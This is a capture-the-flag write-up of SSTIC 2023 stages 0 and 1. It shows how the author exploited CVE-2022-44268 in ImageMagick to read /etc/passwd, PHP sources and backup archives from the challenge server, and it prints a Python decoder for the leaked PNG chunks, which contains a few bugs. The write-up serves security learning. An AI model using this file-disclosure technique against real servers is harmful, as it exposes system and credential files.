Challenge SSTIC 2023 - stage 0 & 1

Posted on 25 May 2023 in security • 7 min read

A dog

As each year the French Security conference SSTIC release a security challenge prior to the conference.

This year the challenge seemed "easier" than the previous year as the stage 1 got 135 validations versus 86 validations in 2022.

This article will detail my solution for the step 0 and the step 1.

Salud deoc’h !

Votre nouvelle boulangerie Trois Pains Zéro a décidé d’innover afin d'éviter les files d’attente et vous permettre de déguster notre recette phare : le fameux quatre-quarts. À partir du 1er juillet 2023, il vous suffira d’acquérir un Jeton Non-Fongible (JNF) de notre collection sur OpenSea, et de le présenter en magasin pour recevoir votre précieux gâteau.

La page d’achat sera bientôt disponible pour tous nos clients et nous espérons vous voir bientôt en magasin.

Délicieusement vôtre,

Votre boulangerie Trois Pains Zéro

For non-French speaking people, the scenario was a bakery that will release a new product requiring the possession of an NFT to buy it. The goal is to access to NFT buying page. Our only input is an OpenSea link.

Stage 0

We got to the NFT page on OpenSea. The NFT was available on testnet so, we might have been able to buy it. But looking at the event section we realized that all the offers expired and there was no transaction.

EXIF data

I downloaded the SVG image to look for any comment in the SVG. We can see that the image is an embedded base64 PNG. We decode it and look at the EXIF data. This look like a dead end.

Profile Date Time               : 2023:02:28 15:28:27
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             :
Device Model                    :
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Little CMS
Profile ID                      : 0
Profile Description             : GIMP built-in sRGB
Profile Copyright               : Public Domain
Media White Point               : 0.9642 1 0.82491
Chromatic Adaptation            : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168
Red Matrix Column               : 0.43604 0.22249 0.01392
Blue Matrix Column              : 0.14305 0.06061 0.71393
Green Matrix Column             : 0.38512 0.7169 0.09706
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Chromaticity Channels           : 3
Chromaticity Colorant           : Unknown
Chromaticity Channel 1          : 0.64 0.33002
Chromaticity Channel 2          : 0.3 0.60001
Chromaticity Channel 3          : 0.15001 0.06
Device Mfg Desc                 : GIMP
Device Model Desc               : sRGB
XMP Toolkit                     : XMP Core 4.4.0-Exiv2
Document ID                     : gimp:docid:gimp:6c654e1c-660f-4a8d-8684-e7dcb888f405
Instance ID                     : xmp.iid:e3c835b5-b728-4065-90ae-b8701b2c0ee9
Original Document ID            : xmp.did:69feb713-f517-4ae5-89df-8790fa24e448
Format                          : image/png
Api                             : 2.0
Platform                        : Linux
Time Stamp                      : 1677598603072742
Version                         : 2.10.30
Creator Tool                    : GIMP 2.10
History Action                  : saved
History Changed                 : /
History Instance ID             : xmp.iid:dae6254d-2632-408f-bdce-210bbed3f9ef
History Software Agent          : Gimp 2.10 (Linux)
History When                    : 2023:02:28 16:36:43+01:00

Smart contract

Following the OpenSea contract address and looking at the contract we found a base64 encoded BASE_URI parameter:

{"name": "Trois Pains Zero",
          "description": "Lobsterdog pastry chef.",
          "image": "https://nft.quatre-qu.art/nft-library.php?id=12",
          "external_url": "https://nft.quatre-qu.art/nft-library.php?id=12"}

We followed the external_url and at the website root we found an image with the flag for stage 0.

flag for stage 0

Stage 1

Enumerating the NFT id and other content

There were an NFT from the id parameter 1 (the flag) to 17, then there were placeholders until 9223372036854775807 (I did not check all the IDs and supposed that there was nothing different from the placeholder).

We could also enumerate the image by using their ID with the image folder such as https://nft.quatre-qu.art/images/4.png

We also found an ELF binary at the core location.

Uploading new images - CVE-2022-44268

Using the id=0 we landed on a page that allowed us resize image.

Create your own NFT gallery! Before creating your gallery, your image needs to be of the right size. Use this service to resize it!

Looking at the HTTP response from the web application we noticed the header X-Powered-By ImageMagick/7.1.0-51. This version of ImageMagick was vulnerable to two CVE:

  1. CVE-2022-44267: Resource management error, The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.
  2. CVE-2022-44268: Information disclosure, A remote attacker can pass a specially crafted image to the application and embed contents of other files on the system into the resulting image.

The first vulnerability did not really interest us as this was a Deny of Service but the second one, CVE-2022-44268 was a Local File Inclusion and could allow us to retrieve files from the web server.

We quickly found an exploit for it on GitHub.

Using the exploit README we generated an image and retrieve the content of the /etc/passwd file.

python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a"))'
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n'

We then retrieved the content of var/www/html/index.php:

resized image with index.php embedded

The output of identify -verbose out_index_php.png did not display the file content in a raw profile field. Instead, we just got the information that the field is Profile-php: 49 bytes.

We will need to write a script in order to parse the PNG chunks and retrieve their data. A blog post from 2019 put us on the way.

We ended up with a python script that would decompress if needed and decode tExt and zTXt chunks.

import zlib
import struct
import sys

input = sys.argv[1]
f = open(input, 'rb')

PngSignature = b'\x89PNG\r\n\x1a\n'
if f.read(len(PngSignature)) != PngSignature:
    raise Exception('Invalid PNG Signature')

def read_chunk(f):
    chunk_length, chunk_type = struct.unpack('>I4s', f.read(8))
    chunk_data = f.read(chunk_length)
    chunk_expected_crc, = struct.unpack('>I', f.read(4))
    chunk_actual_crc = zlib.crc32(chunk_data, zlib.crc32(struct.pack('>4s', chunk_type)))
    if chunk_expected_crc != chunk_actual_crc:
        raise Exception('chunk checksum failed')
    return chunk_type, chunk_data

while True:
    chunk_type, chunk_data = read_chunk(f)
    if (chunk_type == b'tEXt' or b'zTXt') and chunk_data[0:20] == b'Raw profile type php':
        chunk_string = ""
        if chunk_type == b'zTXt':
            chunk_string = (zlib.decompress(chunk_data[22:]))
        else:
            chunk_string = chunk_data[22:]
        print(bytes.fromhex("".join((chunk_string.decode("utf-8")).split("\n")[2:])))

    if chunk_type == b'IEND':
        break

Using the script with the image containing index.php, we were redirected to another file.

python decoder.py out_index_php.png
<?php header("Location: /nft-library.php?id=1");

We retrieved the nft-library.php file.

resized image with nft-library.php embedded

And we decoded it using our python script. This give us the step 1 flag as well as the path to two archives available on the server.

python decoder.py out.png
R%<?php
header("X-Powered-By: ImageMagick/7.1.0-51");

// SSTIC{8c44f9aa39f4f69d26b91ae2b49ed4d2d029c0999e691f3122a883b01ee19fae}
// Une sauvegarde de l'infrastructure est disponible dans les fichiers suivants
// /backup.tgz, /devices.tgz
//


if (!empty($_GET['id'])) {
    $image_id = $_GET['id'];
<SNIP>

Highway to stage 2.x

We retrieved the two images from the server using the CVE-2022-44268:

backup.tar.gz: resized image with backup.tar.gz embedded

devices.tar.gz: resized image with devices.tar.gz embedded

Using the previous python script resulted as an error UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 4

So we looked directly at the content of the chunk string using print(chunk_string.decode("utf-8"))

python decoder.py out_devices_tgz.png | head

tgz
  776678
1f8b0800000000000003ec7b09981e5599ee


python decoder.py out_backup_tgz.png | head

tgz
  927243
1f8b0800000000000003ec3c0b901cd5

For both files we retrieved the same starting data for the chunk: 1f8b0800000000000003ec. A few researches pointed us to a GZip archive.

We used ange knowledge about zlib and deflate to ensure that the files we are getting are compressed tgz.

A simple addition to our python script allowed us to write our chunk into a valid tar.gz file.

import zlib
import struct
import sys

input = sys.argv[1]
f = open(input, 'rb')

PngSignature = b'\x89PNG\r\n\x1a\n'
if f.read(len(PngSignature)) != PngSignature:
    raise Exception('Invalid PNG Signature')



def read_chunk(f):
    chunk_length, chunk_type = struct.unpack('>I4s', f.read(8))
    chunk_data = f.read(chunk_length)
    chunk_expected_crc, = struct.unpack('>I', f.read(4))
    chunk_actual_crc = zlib.crc32(chunk_data, zlib.crc32(struct.pack('>4s', chunk_type)))
    if chunk_expected_crc != chunk_actual_crc:
        raise Exception('chunk checksum failed')
    return chunk_type, chunk_data

while True:
    chunk_type, chunk_data = read_chunk(f)
    if (chunk_type == b'tEXt' or b'zTXt'):
        if chunk_data[0:16] == b'Raw profile type':
            chunk_string = ""
            if chunk_type == b'zTXt':
                chunk_string = (zlib.decompress(chunk_data[22:]))
            else:
                chunk_string = chunk_data[22:]
            if chunk_data[17:20] == b'php':
                print(bytes.fromhex("".join((chunk_string.decode("utf-8")).split("\n")[2:])).decode("utf-8"))
                print(type(bytes.fromhex("".join((chunk_string.decode("utf-8")).split("\n")[2:])).decode("utf-8")))
                exit()

            if chunk_data[17:20] == b'tgz':
                with open('test.gz', 'wb') as fout:
                    fout.write(binascii.unhexlify(chunk_string[14:].decode("utf-8").replace("\n","")))

    if chunk_type == b'IEND':
        break

We then ran the script on the backup and device "images". Once uncompressed with tar we obtain the following file structure (the two archives merged themself):

backup/
├── deviceA
│   ├── baker_pubkey.py
│   ├── logs.txt
│   └── musig2_player.py
├── deviceB
│   ├── loop
│   ├── loop_
│   ├── seed.bin
│   └── seedlocker.py
├── deviceC
│   ├── frontend_service.bin
│   ├── ld-linux-aarch64.so.1
│   ├── pow_solver.py
│   └── remote_lib.so.6
├── deviceD.py
├── file.h5
├── flags
│   ├── crypt.py
│   ├── encrypted_flags
│   │   ├── deviceA.enc
│   │   ├── deviceB.enc
│   │   ├── deviceC.enc
│   │   └── deviceD.enc
│   └── requirements.txt
├── info.eml
├── server
│   ├── achat.py
│   ├── admin.py
│   ├── config.py
│   ├── deploy.py
│   ├── main.py
│   ├── musig2.py
│   ├── requirements.txt
│   ├── smart_contract.py
│   ├── static
│   │   ├── creme.jpeg
│   │   ├── farbreton.jpeg
│   │   ├── kouign.jpeg
│   │   ├── lobsterdog_baker.png
│   │   ├── lobsterdog.png
│   │   ├── meringue.jpeg
│   │   ├── palet.jpeg
│   │   └── quatrequart.jpeg
│   └── templates
│       ├── achat_templates
│       ├── admin_templates
│       ├── base.html
│       └── index.html

Looking at info.eml we found a new domain https://trois-pains-zero.quatre-qu.art/

Salut Bertrand,

Comme tu le sais, nous sommes en train de mettre en place l’infrastructure pour la sortie prochaine de notre JNF sur https://trois-pains-zero.quatre-qu.art/. Nous avons choisi de protéger notre interface d’administration en utilisant un chiffrement multi-signature 4 parmi 4 en utilisant différents dispositifs pour stocker les clés privées.

Pour rappel tu trouveras les fichiers nécessaire dans la sauvegarde :

  • le script que j'ai utilisé pour participer au protocole de multi-signature : musig2_player.py. J'ai aussi inclus le fichier de journalisation de signatures que nous avions fait jeudi dernier ainsi que nos 4 clés publiques.

  • un porte-monnaie numérique dont tu possèdes le mot de passe: seedlocker.py

  • un équipement physique, disponible ici device.quatre-qu.art:8080, je crois que c'est Charly qui a le mot de passe. Si tu veux tester sur ton propre équipement tu trouveras la mise à jour de l'interface utilisateur sur le serveur de sauvegarde avec la libc utilisée. Nous avons mis en place des limitations, une à base de preuve de travail, nous t'avons aussi fourni le script de résolution (pow_solver.py) ainsi qu'un mot de passe "fudmH/MGzgUM7Zx3k6xMuvThTXh+ULf1". Le mot de passe n'est pas celui de l'équipement mais celui pour la protection.

  • Pour le dernier équipement, Daniel a perdu son code pin. Nous avons essayé d’extraire les informations en attaquant la mémoire sécurisée avec des injections de fautes mais sans succès 😒. Pour information la mémoire sécurisée prends un masque en argument et utilise la valeur stockée XORé avec le masque. Les mesures qu'on a faites pendant l'expérience sont stockées dans data.h5. Il est trop volumineux pour la sauvegarde mais tu peux le récupérer à cette adresse : https://trois-pains-zero.quatre-qu.art/data_34718ec031bbb6e094075a0c7da32bc5056a57ff082c206e6b70fcc864df09e9.h5. Peut-être que tu connais quelqu’un qui pourrait nous aider à retrouver les informations ?

Bon courage!

We now have four independent tasks corresponding to step 2.a, 2.b, 2.c and 2.d. But they are not web related and after a few hours I just let it go as I will not be able to complete them.